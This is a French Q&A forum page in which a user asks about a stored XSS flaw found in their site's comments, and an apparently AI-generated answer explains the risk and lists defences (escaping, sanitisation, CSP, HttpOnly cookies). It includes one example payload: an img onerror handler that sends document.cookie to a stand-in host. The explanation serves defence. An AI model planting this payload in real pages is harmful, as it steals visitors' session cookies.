Qu'est-ce qu'une faille XSS et comment m'en protéger ?
posée 4 months ago464 vuesfr
Un audit a trouvé une « XSS stockée » dans les commentaires de notre site. Je ne comprends pas bien le risque ni la correction.
Diagnostic IA
Généré par IA. Ce n'est pas une réponse — la communauté ci-dessous le confirme ou le corrige. Vérifiez toujours avant de vous y fier.
1 réponse
Une XSS (*cross-site scripting*), c'est quand un attaquant arrive à faire exécuter son JavaScript dans le navigateur d'autres utilisateurs, sur ton site. « Stockée » : le script est enregistré (dans un commentaire, par exemple) et s'exécute chez chaque visiteur qui l'affiche. Il agit alors en leur nom : actions, lecture de données, faux formulaires.
Exemple de commentaire malveillant :
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
Protections : 1. Échapper à l'affichage : les frameworks (React, Vue, les templates Blade/Jinja) échappent par défaut. La faille vient presque toujours d'un contournement : dangerouslySetInnerHTML, v-html, {!! !!}, innerHTML. 2. Si tu dois afficher du HTML (Markdown rendu, éditeur riche) : assainis-le côté serveur avec une liste blanche (DOMPurify, sanitize-html, bleach). 3. Content Security Policy : interdit les scripts inline et les domaines inconnus. C'est une défense en profondeur si une faille passe. 4. Cookies HttpOnly, pour que le script ne puisse pas lire la session.
Corrige la faille, puis cherche dans tout le code les autres usages de innerHTML et de ses équivalents.
Connectez-vous pour dire si ça a marché.
Sign in and verify your email to post an answer.